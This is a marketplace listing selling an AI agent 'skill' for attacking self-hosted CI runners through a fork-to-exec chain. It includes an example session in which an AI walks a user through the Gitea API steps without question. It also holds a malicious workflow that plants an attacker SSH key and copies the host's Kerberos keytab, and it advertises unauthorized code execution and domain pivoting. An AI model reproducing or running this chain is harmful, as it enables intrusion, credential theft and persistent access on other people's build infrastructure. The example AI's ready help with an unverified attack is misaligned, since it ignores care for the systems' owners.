Works with the AI tools you already use
ci runner abuse
Automate fork-to-exec attacks on Gitea and GitHub Actions runners to escalate privileges and extract domain credentials.
$5
ci runner abuse
Example session with this skill installed
I have access to an internal Gitea instance. I need to get code execution on the 'build-runner-01' box using a fork-to-exec technique. Walk me through the API calls.
- Read your context and instructions
- Compiled the ci runner abuse
Successfully outlined the fork-to-exec exploitation chain for the internal Gitea runner.
Gitea Runner Abuse Execution Plan
| Step | Action | API Endpoint / Method | Payload Notes |
|---|---|---|---|
| 1 | Identity Check | GET /api/v1/user | Verify AD-to-Git mapping via SPNEGO |
| 2 | Fork Repo | POST /repos/{org}/{repo}/forks | Send {}, requires non-empty body |
| 3 | Enable Actions | PATCH /repos/{forkowner}/{repo} | {"has_actions":true} |
| 4 | Upload Workflow | POST /repos/{forkowner}/{repo}/contents/.gitea/workflows/pwn.yml | Base64 encode the YAML payload |
| 5 | Create PR | POST /repos/{org}/{repo}/pulls | Ensure fork is ahead of upstream |
| 6 | Trigger Exec | POST /repos/{org}/{repo}/pulls/{id}/reviews | Event must be COMMENT |
Malicious Workflow Configuration
name: persistence
on:
pull_request_review_comment:
types: [created]
jobs:
exploit:
runs-on: build-runner-01
steps:
- run: |
mkdir -p ~/.ssh
echo "ssh-ed25519 AAAAC3N... attacker@proxy" >> ~/.ssh/authorized_keys
cp /etc/krb5.keytab /tmp/runner.keytab
chmod 644 /tmp/runner.keytab
Next steps
- Run
kinitwith the compromised user to establish the SPNEGO session forcurl. - Monitor
GET /repos/{forkowner}/{repo}/actions/runsto verify the job leaves thequeuedstate. - Attempt SSH connection to the runner IP using the planted public key.
Connects securely to your tools. The creator never sees your data.
What you get
About this skill
The problem
CI/CD pipelines often execute workflows from forks, allowing users to gain unauthorized code execution on self-hosted runners. Internal runners frequently run as service accounts with elevated domain privileges or stored Kerberos keytabs, creating a high-value pivot point.
What it does
- Identifies internal Gitea and GitHub Actions runners via API discovery and identity mapping.
- Diagnoses runner scope starvation to confirm if a runner will execute jobs from forked repositories.
- Automates the fork-to-exec chain by configuring fork actions and deploying malicious YAML workflows.
- Provides precise API trigger sequences for events like
pull_request_review_commentto bypass common execution failures. - Extracts high-value artifacts including Kerberos keytabs and SSH authorized keys from the runner context.
Why this beats prompting it yourself
Generic LLMs often miss the technical nuances of CI/CD event triggers, such as the difference between issue comments and review comments which can stall an engagement for hours. This skill provides a verified end-to-end flow that accounts for common pitfalls like fork-scope starvation and specific API payload requirements that standard prompts overlook.
Use cases
- Executing unauthorized code on internal self-hosted runners to capture service account flags.
- Pivoting from a low-privilege git user to an AD-joined service account via runner keytabs.
- Testing the security posture of internal Gitea instances against fork-based workflow abuse.
Known limitations
Requires valid credentials or SPNEGO authentication to the internal git server. Success depends on the runner being configured to process fork-created jobs.
How to install
Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.
- 1
Download the ZIP
Free skills download straight away. Paid skills unlock right after purchase.
- 2
Unzip into your skills folder
Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.
- 3
Ask your agent to use it
Restart the agent if it was already running. It picks the skill up automatically - no config needed.
Skills folder by agent
Click the path to copy it. Create the folder if it does not exist yet.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill passes our trust checks below.
Security scanned
Passed our 8-point scan before listing
Fresh listing
Recently published to Agensi
30-day refund
Not a fit? Get your money back
Trust & safety
Security scanned
Verified clean 7 days ago
- Passed all security checks, Safe to install